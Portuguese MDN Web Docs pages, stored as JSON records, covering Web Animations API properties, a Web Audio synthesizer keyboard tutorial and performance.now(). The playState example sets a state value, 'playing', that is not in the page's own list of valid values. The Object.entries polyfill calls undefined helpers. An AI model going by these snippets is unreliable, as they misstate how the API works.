{"title":"Animation.currentTime - APIs da Web","text":"Animation.currentTime\n=====================\n\nBaseline 2022\n-------------\n\nNewly availableSince September 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade **`Animation.currentTime`** da Web Animations API (en-US) retorna e altera o tempo atual da animação em milésimos de segundos, seja estando em execução ou pausada.\n\nSe a animação não tem uma `timeline` (en-US), está inativa, ou ainda não foi colocada em execução, o valor de retorno do `currentTime` será `null`.\n\nSintaxe\n-------\n```\n\nvartempoAtual = Animation.currentTime;\nAnimation.currentTime = novoTempo;\n```\n\n### Valor\n\nUm número que representará no tempo atual da animação em milésimos de segundos, ou `null` para desativar a animação.\n\nExamples\n--------\n\nNo jogo Drink Me/Eat Me, O tamanho da Alice é animado e pode crescer ou diminuir. No início do jogo, o tamanho dela foi colocado entre os dois extremos do animation's `currentTime` no meio do `KeyframeEffect`'s duration (en-US), desta maneira:\n\n\n```js\naliceChange.currentTime = aliceChange.effect.timing.duration / 2;\n```\n\n\nOutra forma mais genérica para encontrar o marco de 50% da animação pode ser feito da seguinte forma:\n\n\n```js\nanimation.currentTime =\n  animation.effect.getComputedTiming().delay +\n  animation.effect.getComputedTiming().activeDuration / 2;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Animations # dom-animation-currenttime |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Animation` para outros métodos e propriedades que você pode usar para controlar a animação da página web.\n* `Animation.startTime` (en-US) para o tempo que a animação está programada começar.\n* Web Animations API (en-US)"}
{"title":"Animation.playState - APIs da Web","text":"Animation.playState\n===================\n\nBaseline 2022\n-------------\n\nNewly availableSince September 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade **`Animation.playState`** do Web Animations API (en-US) retorna e altera um valor enumerado que descreve o estado de reprodução da animação.\n\n**Nota:** Essa propriedade é apenas de leitura para Animações CSS e Transições.\n\nSintaxe\n-------\n```\n\nvar estadoAtualDaReproducao = Animation.playState;\n\nAnimation.playState =novoEstado;\n```\n\n### Valor\n\n`idle`\n\nO tempo atual da animação não está acertado e não há tarefas pendentes.\n\n`pending`\n\nA animação está aguardando a realização de algumas tarefas para ser completada.\n\n`running`\n\nA animação está rodando.\n\n`paused`\n\nA animação está parada e a propriedade `Animation.currentTime` não está sendo atualizada.\n\n`finished`\n\nA animação alcançou um de seus finais e a propriedade `Animation.currentTime` não está sendo atualizada.\n\nExemplo\n-------\n\nNo jogo Growing/Shrinking Alice Game , os jogadores podem chegar ao final com a Alice chorando em uma poça de lágrimas. No jogo, por razões de performance, as lágrimas só são animadas quando estão visiveis. Então elas devem ficar pausadas enquanto a animação ocorre, como no exemplo:\n\n\n```js\n// Configurando a animação das lágrimas\n\ntears.forEach(function (el) {\n  el.animate(tearsFalling, {\n    delay: getRandomMsRange(-1000, 1000), // aleatório para cada lágrima\n    duration: getRandomMsRange(2000, 6000), // aleatório para cada lágrima\n    iterations: Infinity,\n    easing: \"cubic-bezier(0.6, 0.04, 0.98, 0.335)\",\n  });\n  el.playState = \"paused\";\n});\n\n// Rodar as lágrimas caindo quando o final precisa aparecer.\n\ntears.forEach(function (el) {\n  el.playState = \"playing\";\n});\n\n// Reseta a animação e coloca o estado em pause.\n\ntears.forEach(function (el) {\n  el.playState = \"paused\";\n  el.currentTime = 0;\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Animations # dom-animation-playstate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Web Animations API (en-US)\n* `Animation` para outros métodos e propriedades que você pode usar para controlar a animação da página web.\n* Os métodos `Animation.play()` (en-US), `Animation.pause()` (en-US), `Animation.finish()` (en-US) conseguem alterar o `Animation`'s `playState`."}
{"title":"Animation.cancel() - APIs da Web","text":"Animation.cancel()\n==================\n\nBaseline 2022\n-------------\n\nNewly availableSince September 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`Animation.cancel()`** da interface `Animation` , limpa todas as `keyframeEffects` (en-US) geradas pela animação e aborta esta execução.\n\n**Nota:** Quando uma animação é cancelada, os valores de `startTime` (en-US) e `currentTime` são definidos como `null`.\n\nSintaxe\n-------\n\n\n```js\n// cancela animação\nanimation.cancel();\n```\n\n### Parametros\n\nNenhum.\n\n### Valor de retorno\n\nNenhum.\n\n### Exceptions\n\nSe o método `Animation.playState` da animação estiver executando quando a operação for cancelada, esta ação vai rejeitar a `current finished promise` (en-US) com a `DOMException` (en-US) nomeada `AbortError`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Animations # dom-animation-cancel |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Web Animations API (en-US)\n* `KeyframeEffect` (en-US)\n* `Animation`\n* `Animation.playState`\n* `Animation.finished` (en-US) returns the promise this action will reject if the animation's `playState` is not `idle`."}
{"title":"Tutorial e exemplo: Teclado de Sintetizador Simples - APIs da Web","text":"Tutorial e exemplo: Teclado de Sintetizador Simples\n===================================================\n\nEste artigo apresenta o código e uma demonstração funcional de um teclado que você pode tocar usando seu mouse. O teclado lhe permite alternar entre formas de onda padrões e customizadas. Esse exemplo utiliza das seguintes interfaces de Web API: `AudioContext`, `OscillatorNode` (en-US), `PeriodicWave` (en-US), e `GainNode` (en-US).\n\nJá que `OscillatorNode` (en-US) é baseado no `AudioScheduledSourceNode` (en-US), isso até certo ponto também é um exemplo pra isto.\n\nO Teclado Visual\n----------------\n\n### HTML\n\nExistem três componentes primários para o display do nosso teclado virtual. O primeito do qual é o teclado musical em si. Nós extraimos em um par de elementos `<div>` aninhados para permitir a rolagem horizontal caso as teclas não encaixem na tela.\n\n#### O Teclado\n\nPrimeiro, criamos o espaço no qual construiremos o teclado. Estaremos construindo o teclado programaticamente, considerando que ao fazer desse jeito teremos a flexibilidade de configurar cada tecla conforme determinamos as informações apropriadas para tecla correspondente. No nosso caso, pegamos a frequência de cada tecla através de uma tabela, mas poderia ser calculado de forma algoritmica também.\n\n\n```html\n<div class=\"container\">\n  <div class=\"keyboard\"></div>\n</div>\n```\n\n\nO `<div>` nomeado de `\"container\"` é a barra de rolagem que permite o teclado ser rolado horizontalmente se for largo demais para o espaço disponivel. As teclas em si serão inseridas no bloco de classe `\"keyboard\"`.\n\n#### A barra de opções\n\nAbaixo do teclado, colocaremos alguns controles para configurar o camada. Por enquanto, teremos dois controles: Um para controlar o volume e outro para selecionar a forma de onda periodica usada ao gerar as notas.\n\n##### O controle de volume\n\nPrimeiro criamos o `<div>` para conter a barra de opções, para ser personalizado conforme preciso. Então estabelecemos uma caixa que será apresentada no lado esquerdo da barra e colocar um rotulo e um elemento `<input>` do tipo `\"range\"`. O elemento range será tipicamente apresentado como o controle da barra de rolagem ; configuramos ele para permitir qualquer valor entre 0.0 e 1.0 em cada posição.\n\n\n```html\n<div class=\"settingsBar\">\n  <div class=\"left\">\n    <span>Volume: </span>\n    <input\n type=\"range\"\n min=\"0.0\"\n max=\"1.0\"\n step=\"0.01\"\n value=\"0.5\"\n list=\"volumes\"\n name=\"volume\" />\n    <datalist id=\"volumes\">\n      <option value=\"0.0\" label=\"Mute\"></option>\n      <option value=\"1.0\" label=\"100%\"></option>\n    </datalist>\n  </div>\n</div>\n```\n\n\nEspecificamos um valor padrão de 0.5, e provemos um elemento `<datalist>` no qual é conectado ao range usando o atributo `name` para achar uma lista de opções cujo ID encaixa; nesse caso, o conjunto de informações é nomeado de `\"volume\"`. isso nos permite prover um conjunto de valores comuns e strings especiais que o browser pode de forma opcional escolher mostrar de alguma maneira; e então atribuimos nomes aos valores 0.0 (\"Mute\") e 1.0 (\"100%\").\n\n##### A seleção de forma de onda\n\nE no lado da barra de configurações, colocamos um rótulo e um elemento `<select>` nomeado de `\"waveform\"` cujas opções correspondem as formas de onda disponiveis.\n\n\n```html\n  <div class=\"right\">\n    <span>Current waveform: </span>\n    <select name=\"waveform\">\n      <option value=\"sine\">Sine</option>\n      <option value=\"square\" selected>Square</option>\n      <option value=\"sawtooth\">Sawtooth</option>\n      <option value=\"triangle\">Triangle</option>\n      <option value=\"custom\">Custom</option>\n    </select>\n  </div>\n</div>\n```\n\n\n```\n.container {\n  overflow-x: scroll;\n  overflow-y: hidden;\n  width: 660px;\n  height: 110px;\n  white-space: nowrap;\n  margin: 10px;\n}\n\n.keyboard {\n  width: auto;\n  padding: 0;\n  margin: 0;\n}\n\n.key {\n  cursor: pointer;\n  font:\n    16px \"Open Sans\",\n    \"Lucida Grande\",\n    \"Arial\",\n    sans-serif;\n  border: 1px solid black;\n  border-radius: 5px;\n  width: 20px;\n  height: 80px;\n  text-align: center;\n  box-shadow: 2px 2px darkgray;\n  display: inline-block;\n  position: relative;\n  margin-right: 3px;\n  user-select: none;\n  -moz-user-select: none;\n  -webkit-user-select: none;\n  -ms-user-select: none;\n}\n\n.key div {\n  position: absolute;\n  bottom: 0;\n  text-align: center;\n  width: 100%;\n  pointer-events: none;\n}\n\n.key div sub {\n  font-size: 10px;\n  pointer-events: none;\n}\n\n.key:hover {\n  background-color: #eef;\n}\n\n.key:active {\n  background-color: #000;\n  color: #fff;\n}\n\n.octave {\n  display: inline-block;\n  padding: 0 6px 0 0;\n}\n\n.settingsBar {\n  padding-top: 8px;\n  font:\n    14px \"Open Sans\",\n    \"Lucida Grande\",\n    \"Arial\",\n    sans-serif;\n  position: relative;\n  vertical-align: middle;\n  width: 100%;\n  height: 30px;\n}\n\n.left {\n  width: 50%;\n  position: absolute;\n  left: 0;\n  display: table-cell;\n  vertical-align: middle;\n}\n\n.left span,\n.left input {\n  vertical-align: middle;\n}\n\n.right {\n  width: 50%;\n  position: absolute;\n  right: 0;\n  display: table-cell;\n  vertical-align: middle;\n}\n\n.right span {\n  vertical-align: middle;\n}\n\n.right input {\n  vertical-align: baseline;\n}\n```\n\n### JavaScript\n\nO código em JavaScript começa inicializando algumas váriaveis.\n\n\n```js\nlet audioContext = new (window.AudioContext || window.webkitAudioContext)();\nlet oscList = [];\nlet masterGainNode = null;\n```\n\n\n1. `audioContext` é colocado para referenciar o objeto global `AudioContext` (ou `webkitAudioContext` se necessário).\n2. `oscillators` está colocado para conter uma lista de todos os osciladores atualmente tocando. Ele começa nulo, afinal não há nenhum oscilador tocando ainda.\n3. `masterGainNode` é colocado como nulo; durante o processo de setup, ele será configurado para contar um `GainNode` (en-US) no quall todos os osciladores irão se conectar para permitir o volume geral a ser controlado por apenas uma barra de rolagem.\n\n\n```js\nlet keyboard = document.querySelector(\".keyboard\");\nlet wavePicker = document.querySelector(\"select[name='waveform']\");\nlet volumeControl = document.querySelector(\"input[name='volume']\");\n```\n\n\nReferencias aos elementos que precisaremos acessar são obtidas através dp:\n\n* `keyboard` que é o elemento que irá alojar as teclas.\n* `wavePicker` é o elemento `<select>` usado para seleção da forma de onda das notas.\n* `volumeControl` É o elemento `<input>` (do tipo `\"range\"`) usado para controlar o volume geral.\n\n\n```js\nlet noteFreq = null;\nlet customWaveform = null;\nlet sineTerms = null;\nlet cosineTerms = null;\n```\n\n\nEnfim, variaveis globais que serão usadas quando as formas de onda são criadas:\n\n* `noteFreq` será uma matriz de matrizes; cada matriz representa uma oitava, cada uma possuindo um valor nota daquela oitava. O valor de cada é a frequência, em Hertz, do tom da nota.\n* `customWaveform` será arrumado como um `PeriodicWave` (en-US) descrevendo a forma de onda quando o usuário selecionar \"Custom\" na seleção de forma de onda.\n* `sineTerms` e `cosineTerms` será utilizado para guardar a informação para gerar a forma de onda; cada um irá conter uma matriz que será gerada caso o usuário escolha \"Custom\".\n### Criando a tabela de notas\n\nA função `createNoteTable()` constrói a matriz `noteFreq` para conter uma matriz de objetos representando cada oitava. Cada oitava, possui uma propriedade para cada nota nessa oitava; O nome dessa propriedade é o nome da nota (utilizando da notação em inglês, como \"C\" para representar \"dó\"), e o valor é a frequência, em Hertz, daquela nota.\n\n\n```js\nfunction createNoteTable() {\n  let noteFreq = [];\n  for (let i=0; i< 9; i++) {\n    noteFreq[i] = [];\n  }\n\n  noteFreq[0][\"A\"] = 27.500000000000000;\n  noteFreq[0][\"A#\"] = 29.135235094880619;\n  noteFreq[0][\"B\"] = 30.867706328507756;\n\n  noteFreq[1][\"C\"] = 32.703195662574829;\n  noteFreq[1][\"C#\"] = 34.647828872109012;\n  noteFreq[1][\"D\"] = 36.708095989675945;\n  noteFreq[1][\"D#\"] = 38.890872965260113;\n  noteFreq[1][\"E\"] = 41.203444614108741;\n  noteFreq[1][\"F\"] = 43.653528929125485;\n  noteFreq[1][\"F#\"] = 46.249302838954299;\n  noteFreq[1][\"G\"] = 48.999429497718661;\n  noteFreq[1][\"G#\"] = 51.913087197493142;\n  noteFreq[1][\"A\"] = 55.000000000000000;\n  noteFreq[1][\"A#\"] = 58.270470189761239;\n  noteFreq[1][\"B\"] = 61.735412657015513;\n```\n\n\n... várias oitavas não mostradas para manter breve ...\n```\n\nnoteFreq[2][\"C\"] = 65.406391325149658;\nnoteFreq[2][\"C#\"] = 69.295657744218024;\nnoteFreq[2][\"D\"] = 73.41619197935189;\nnoteFreq[2][\"D#\"] = 77.781745930520227;\nnoteFreq[2][\"E\"] = 82.406889228217482;\nnoteFreq[2][\"F\"] = 87.307057858250971;\nnoteFreq[2][\"F#\"] = 92.498605677908599;\nnoteFreq[2][\"G\"] = 97.998858995437323;\nnoteFreq[2][\"G#\"] = 103.826174394986284;\nnoteFreq[2][\"A\"] = 110.0;\nnoteFreq[2][\"A#\"] = 116.540940379522479;\nnoteFreq[2][\"B\"] = 123.470825314031027;\n\nnoteFreq[3][\"C\"] = 130.812782650299317;\nnoteFreq[3][\"C#\"] = 138.591315488436048;\nnoteFreq[3][\"D\"] = 146.83238395870378;\nnoteFreq[3][\"D#\"] = 155.563491861040455;\nnoteFreq[3][\"E\"] = 164.813778456434964;\nnoteFreq[3][\"F\"] = 174.614115716501942;\nnoteFreq[3][\"F#\"] = 184.997211355817199;\nnoteFreq[3][\"G\"] = 195.997717990874647;\nnoteFreq[3][\"G#\"] = 207.652348789972569;\nnoteFreq[3][\"A\"] = 220.0;\nnoteFreq[3][\"A#\"] = 233.081880759044958;\nnoteFreq[3][\"B\"] = 246.941650628062055;\n\nnoteFreq[4][\"C\"] = 261.625565300598634;\nnoteFreq[4][\"C#\"] = 277.182630976872096;\nnoteFreq[4][\"D\"] = 293.66476791740756;\nnoteFreq[4][\"D#\"] = 311.12698372208091;\nnoteFreq[4][\"E\"] = 329.627556912869929;\nnoteFreq[4][\"F\"] = 349.228231433003884;\nnoteFreq[4][\"F#\"] = 369.994422711634398;\nnoteFreq[4][\"G\"] = 391.995435981749294;\nnoteFreq[4][\"G#\"] = 415.304697579945138;\nnoteFreq[4][\"A\"] = 440.0;\nnoteFreq[4][\"A#\"] = 466.163761518089916;\nnoteFreq[4][\"B\"] = 493.883301256124111;\n\nnoteFreq[5][\"C\"] = 523.251130601197269;\nnoteFreq[5][\"C#\"] = 554.365261953744192;\nnoteFreq[5][\"D\"] = 587.32953583481512;\nnoteFreq[5][\"D#\"] = 622.253967444161821;\nnoteFreq[5][\"E\"] = 659.255113825739859;\nnoteFreq[5][\"F\"] = 698.456462866007768;\nnoteFreq[5][\"F#\"] = 739.988845423268797;\nnoteFreq[5][\"G\"] = 783.990871963498588;\nnoteFreq[5][\"G#\"] = 830.609395159890277;\nnoteFreq[5][\"A\"] = 880.0;\nnoteFreq[5][\"A#\"] = 932.327523036179832;\nnoteFreq[5][\"B\"] = 987.766602512248223;\n\nnoteFreq[6][\"C\"] = 1046.502261202394538;\nnoteFreq[6][\"C#\"] = 1108.730523907488384;\nnoteFreq[6][\"D\"] = 1174.659071669630241;\nnoteFreq[6][\"D#\"] = 1244.507934888323642;\nnoteFreq[6][\"E\"] = 1318.510227651479718;\nnoteFreq[6][\"F\"] = 1396.912925732015537;\nnoteFreq[6][\"F#\"] = 1479.977690846537595;\nnoteFreq[6][\"G\"] = 1567.981743926997176;\nnoteFreq[6][\"G#\"] = 1661.218790319780554;\nnoteFreq[6][\"A\"] = 1760.0;\nnoteFreq[6][\"A#\"] = 1864.655046072359665;\nnoteFreq[6][\"B\"] = 1975.533205024496447;\n```\n\n\n\n```js\n  noteFreq[7][\"C\"] = 2093.004522404789077;\n  noteFreq[7][\"C#\"] = 2217.461047814976769;\n  noteFreq[7][\"D\"] = 2349.318143339260482;\n  noteFreq[7][\"D#\"] = 2489.015869776647285;\n  noteFreq[7][\"E\"] = 2637.020455302959437;\n  noteFreq[7][\"F\"] = 2793.825851464031075;\n  noteFreq[7][\"F#\"] = 2959.955381693075191;\n  noteFreq[7][\"G\"] = 3135.963487853994352;\n  noteFreq[7][\"G#\"] = 3322.437580639561108;\n  noteFreq[7][\"A\"] = 3520.000000000000000;\n  noteFreq[7][\"A#\"] = 3729.310092144719331;\n  noteFreq[7][\"B\"] = 3951.066410048992894;\n\n  noteFreq[8][\"C\"] = 4186.009044809578154;\n  return noteFreq;\n}\n```\n\n\nO resultado é uma matriz, `noteFreq`, com um objeto para cada oitava. Cada objeto de oitava tem propriedades nomeadas nela onde a propriedade é o nome da nota com a notação em inglês (Como \"C\" para representar \"dó\") e o valor da propriedade é a frequência da nota em Hertz.. o objeto resultando se parece com isso:\n\n|  |  |  |  |  |  |\n| --- | --- | --- | --- | --- | --- |\n| Octave | Notes |  |  |  |  |\n| 0 | \"A\" ⇒ 27.5 | \"A#\" ⇒ 29.14 | \"B\" ⇒ 30.87 |  |  |  |  |  |  |  |  |  |\n| 1 | \"C\" ⇒ 32.70 | \"C#\" ⇒ 34.65 | \"D\" ⇒ 36.71 | \"D#\" ⇒ 38.89 | \"E\" ⇒ 41.20 | \"F\" ⇒ 43.65 | \"F#\" ⇒ 46.25 | \"G\" ⇒ 49 | \"G#\" ⇒ 51.9 | \"A\" ⇒ 55 | \"A#\" ⇒ 58.27 | \"B\" ⇒ 61.74 |\n| 2 | . . . |\n\nCom esta tabela no lugar, podemos descobrir a frequência para uma dada nota em uma oitava particular relativamente fácil. Se queremos a frequência pra nota G# na primeira oitava, nós simplesmente usamos `noteFreq[1][\"G#\"]` e conseguimos o valor 51.9 como resultado.\n\n**Nota:** Os valores na tabela de exemplo acima foram arredondados para duas casas decimais.\n```\n\nif (!Object.entries) {\n  Object.entries = function entries(O) {\n    return reduce(\n      keys(O),\n      (e, k) =>\n        concat(\n          e,\n          typeof k === \"string\" && isEnumerable(O, k) ? [[k, O[k]]] : [],\n        ),\n      [],\n    );\n  };\n}\n```\n\n### Construindo o teclado\n\nA função `setup()` é responsavel por construir o teclado e preparar a aplicação para tocar a música.\n\n\n```js\nfunction setup() {\n  noteFreq = createNoteTable();\n\n  volumeControl.addEventListener(\"change\", changeVolume, false);\n\n  masterGainNode = audioContext.createGain();\n  masterGainNode.connect(audioContext.destination);\n  masterGainNode.gain.value = volumeControl.value;\n\n  // Create the keys; skip any that are sharp or flat; for\n  // our purposes we don't need them. Each octave is inserted\n  // into a <div> of class \"octave\".\n\n  noteFreq.forEach(function (keys, idx) {\n    let keyList = Object.entries(keys);\n    let octaveElem = document.createElement(\"div\");\n    octaveElem.className = \"octave\";\n\n    keyList.forEach(function (key) {\n      if (key[0].length == 1) {\n        octaveElem.appendChild(createKey(key[0], idx, key[1]));\n      }\n    });\n\n    keyboard.appendChild(octaveElem);\n  });\n\n  document\n    .querySelector(\"div[data-note='B'][data-octave='5']\")\n    .scrollIntoView(false);\n\n  sineTerms = new Float32Array([0, 0, 1, 0, 1]);\n  cosineTerms = new Float32Array(sineTerms.length);\n  customWaveform = audioContext.createPeriodicWave(cosineTerms, sineTerms);\n\n  for (i = 0; i < 9; i++) {\n    oscList[i] = {};\n  }\n}\n\nsetup();\n```\n\n\n1. A tabela que mapeia o nome e oitavas das notas para suas respectivas frequências é criado ao chamar `createNoteTable()`.\n2. Um manipulador de eventos é estabelecido ao chamar nosso velho amigo `addEventListener()` para cuidar dos eventos do `change (en-US)` no controle de ganho geral. Isso vai simplesmente atualizar o módulo de ganho de volume para o novo valor.\n3. Em seguida, nós replicamos cada oitava na tabela de frequências das notas. Para cada oitava, usamos `Object.entries()` para conseguir uma lista de notas daquela oitava.\n4. Criar um `<div>` para contar as notas daquela oitava (para ter um pouco de espaço entre as oitavas), e mudar o nome de classe para \"octave\".\n5. Para cada tecla na oitava, checamos para ver se o nome daquela nota há mais de um caractere. Nós pulamos essas, pois estamos deixando notas sustenidas de fora deste exemplo. Do contrário, chamamos `createKey()`, especificando uma string, oitava, e frequência. O elemento retornado é anexado na elemento da oitava criada no passo 4.\n6. Quando o elemento da oitava é construido, é então anexada ao teclado.\n7. Uma vez que o teclado foi construido, nós rolamos para nota \"B\" na quinta oitava; isso tem o efeito de garantir que o C médio é visivel junto das notas ao redor.\n8. Então uma forma de onda customizada é construida usando `AudioContext.createPeriodicWave()` (en-US). Essa forma de onda será usada toda vez que o usuário selecionar \"Custom\" da seleção de formas de onda.\n9. Enfim, a lista de osciladores é iniciada para garantir que está pronta para receber informação identificando quais osciladores estão associados com que teclas.\n\n#### Criando uma tecla\n\nA função `createKey()` é chamada toda vez que queremos que uma tecla seja apresentada no nosso teclado virtual. Ela cria elementos da tecla e seu rótulo, adiciona informação dos atributos ao elemento para uso posterior, e coloca modificadores de eventos para os eventos que nos importam.\n\n\n```js\nfunction createKey(note, octave, freq) {\n  let keyElement = document.createElement(\"div\");\n  let labelElement = document.createElement(\"div\");\n\n  keyElement.className = \"key\";\n  keyElement.dataset[\"octave\"] = octave;\n  keyElement.dataset[\"note\"] = note;\n  keyElement.dataset[\"frequency\"] = freq;\n\n  labelElement.innerHTML = note + \"<sub>\" + octave + \"</sub>\";\n  keyElement.appendChild(labelElement);\n\n  keyElement.addEventListener(\"mousedown\", notePressed, false);\n  keyElement.addEventListener(\"mouseup\", noteReleased, false);\n  keyElement.addEventListener(\"mouseover\", notePressed, false);\n  keyElement.addEventListener(\"mouseleave\", noteReleased, false);\n\n  return keyElement;\n}\n```\n\n\nApós criar os elementos representando as teclas e seus rótulos, nós configuramos o elemento das teclas ao configurar sua classe para \"key\" (Que estabelece a aparência). Então adicionamos atributos `data-*` que contém a string da oitava da nota (attribute `data-octave`), representando a nota a ser tocada (attribute `data-note`), e frequência (attribute `data-frequency`) em Hertz. Isso irá nos permitir facilmente pegar informação conforme necessário ao cuidar de eventos.\n\n### Fazendo música\n\n#### Tocando um tom\n\nO trabalho da função `playTone()` é tocar um tom em uma dada frequência. Isso será usado pelo modificador para eventos acionados nas teclas do teclado, para que toquem as notas apropriadas.\n\n\n```js\nfunction playTone(freq) {\n  let osc = audioContext.createOscillator();\n  osc.connect(masterGainNode);\n\n  let type = wavePicker.options[wavePicker.selectedIndex].value;\n\n  if (type == \"custom\") {\n    osc.setPeriodicWave(customWaveform);\n  } else {\n    osc.type = type;\n  }\n\n  osc.frequency.value = freq;\n  osc.start();\n\n  return osc;\n}\n```\n\n\nO `playTone()` começa criando um novo `OscillatorNode` (en-US) ao chamar o método `AudioContext.createOscillator()` (en-US). Então conectamos ele para o módulo de ganha geral ao chamar o novo método de osciladores `OscillatorNode.connect()` method;, Que determina ao oscilador onde ele irá mandar seu output. Ao fazer isso, mudar o valor do ganho do módulo de ganho geral irá mudar o volume de todos os toms gerados.\n\nEntão conseguimos o tipo de forma de onda para usar ao checar o valor do controle de seleção de formas de onda na barra de opções. Se o usuário estiver colocado como `\"custom\"`, chamamos `OscillatorNode.setPeriodicWave()` (en-US) para configurar os osciladores para usar nossa forma de onda customizada. Fazer isso automáticamente coloca o `type` (en-US) do oscilador como `custom`. Se qualquer outro tipo de forma de onda é selecionado na seleção de formas de ondas, nós simplesmente colocamos os tipos de osciladores no valor da seleção, esse valor será um entre `sine`, `square`, `triangle`, e `sawtooth`.\n\nA frequência do oscilador é colocada no valor especificado no paramêtro `freq` ao colocar o valor dos objetos `Oscillator.frequency` `AudioParam` (en-US) . Então, enfim, o oscilador é iniciado e começa a produzir sons ao chamar o método `AudioScheduledSourceNode.start()` (en-US) .\n\n#### Tocando um tom\n\nQuando o evento `mousedown (en-US)` ou `mouseover` ocorre em uma tecla, queremos que toque a nota correspondente. A função `notePressed()` é usada como o modificador de eventos para esses eventos.\n\n\n```js\nfunction notePressed(event) {\n  if (event.buttons & 1) {\n    let dataset = event.target.dataset;\n\n    if (!dataset[\"pressed\"]) {\n      let octave = +dataset[\"octave\"];\n      oscList[octave][dataset[\"note\"]] = playTone(dataset[\"frequency\"]);\n      dataset[\"pressed\"] = \"yes\";\n    }\n  }\n}\n```\n\n\nComeçamos checando se o botão esquerdo do mouse é pressionado, por dois motivos. Primeiro, queremos que apenas o botão esquerdo acione as notas. Segundo, e mais importante, estamos usando isso para cuidar do `mouseover (en-US)` para casos onde o usuário arrasta de tecla a tecla, e só queremos tocar uma nota se o mouse estiver pressionado quando entrar no elemento.\n\nSe o botão do mouse estiver de fato sendo pressionado, recebemos o atributo de tecla pressionada `dataset` ; isso torna fácil o acesso das informações de atributo customizadas no elemento. Procuramos por um atributo `data-pressed` ; caso não haja um(o que indica que a nota não está tocando ainda), chamamos `playTone()` para começar a tocar a nota, passando no valor dos elementos do atributo `data-frequency`. O valor retornado do oscilador é guardado no `oscList` para refêrencia futura, e `data-pressed` é colocado como `yes` para indicar que a nota está tocando para que não iniciemos novamente na próxima vez que isso for chamado.\n\n#### Parando um tom\n\nA função `noteReleased()` é o modificador de eventos chamado quando o usuário solta o botão do mouse ou move o mouse para fora da tecla que ele está tocando.\n\n\n```js\nfunction noteReleased(event) {\n  let dataset = event.target.dataset;\n\n  if (dataset && dataset[\"pressed\"]) {\n    let octave = +dataset[\"octave\"];\n    oscList[octave][dataset[\"note\"]].stop();\n    delete oscList[octave][dataset[\"note\"]];\n    delete dataset[\"pressed\"];\n  }\n}\n```\n\n\n`noteReleased()` usa os atributos customizados `data-octave` and `data-note` para procurar os osciladores das teclas, e então chama o método de oscilador `stop()` (en-US) para parar de tocar a nota. Finalmente, a entrada `oscList` para nota é limpa e o atributo `data-pressed` é removido do elemento da tecla (como identificado pelo `event.target`), para indicar que a nota não está tocando no momento.\n\n#### Mudando o volume geral\n\nA barra de rolagem do volume na barra de opções dá uma simples interface para mudar o valor do ganho no módulo de ganho geral, então mudando o volume de todas as notas sendo tocadas. O metódo `changeVolume()` é o modificador do evento `change (en-US)` na barra de rolagem.\n\n\n```js\nfunction changeVolume(event) {\n  masterGainNode.gain.value = volumeControl.value;\n}\n```\n\n\nIsso simplesmente coloca o valor do módulo de ganho geral `gain` `AudioParam` (en-US) para o novo valor na barra de rolagem.\n\n### Resultado\n\nColoque tudo junto, o resultado é um simples e funcional teclado virtual que funciona com o clique:\n\nVeja também\n-----------\n\n* Web Audio API\n* `OscillatorNode` (en-US)\n* `GainNode` (en-US)\n* `AudioContext`"}
{"title":"performance.now() - APIs da Web","text":"performance.now()\n=================\n\nO método **`performance.now()`** retorna `DOMHighResTimeStamp` (en-US), medido em milisegundos, com precisão de cinco milésimos de milissegundo (5 microsegundos).\n\nO valor retornado representa o tempo decorrido desde o **time origin** (the `PerformanceTiming.navigationStart` (en-US) property). Em um web worker, o tempo inicial é o momento em que o contexto da execução(e.g. thread ou processo) é criado. Em uma janela, é o tempo em que o usuário iniciou a navegação neste documento. Tenha em mente que:\n\n* Em workers dedicados criados do `Window`, o valor neste worker será inferior a `performance.now()` na window que gerou este worker. Normalmente é o mesmo que `t0` no contexto principal, mas esse valor foi alterado.\n* Em shared workers ou service workers, o valor do worker pode ser maior em relação ao contexto principal poir estas janelas podem ser criadas depois destes workers.\nSintaxe\n-------\n```\n\nt = performance.now();\n```\n\nExemplo\n-------\n\n\n```js\nvar t0 = performance.now();\ndoSomething();\nvar t1 = performance.now();\nconsole.log(\"Call to doSomething took \" + (t1 - t0) + \" milliseconds.\");\n```\n\n\nUnlike other timing data available to JavaScript (for example `Date.now` (en-US)), the timestamps returned by `Performance.now()` are not limited to one-millisecond resolution. Instead, they represent times as floating-point numbers with up to microsecond precision.\n\nAlso unlike `Date.now()`, the values returned by `Performance.now()` always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like NTP). Otherwise, `performance.timing.navigationStart + performance.now()` will be approximately equal to `Date.now()`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| High Resolution Time # dom-performance-now |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* When milliseconds are not enough: performance.now() from HTML5 Rocks."}
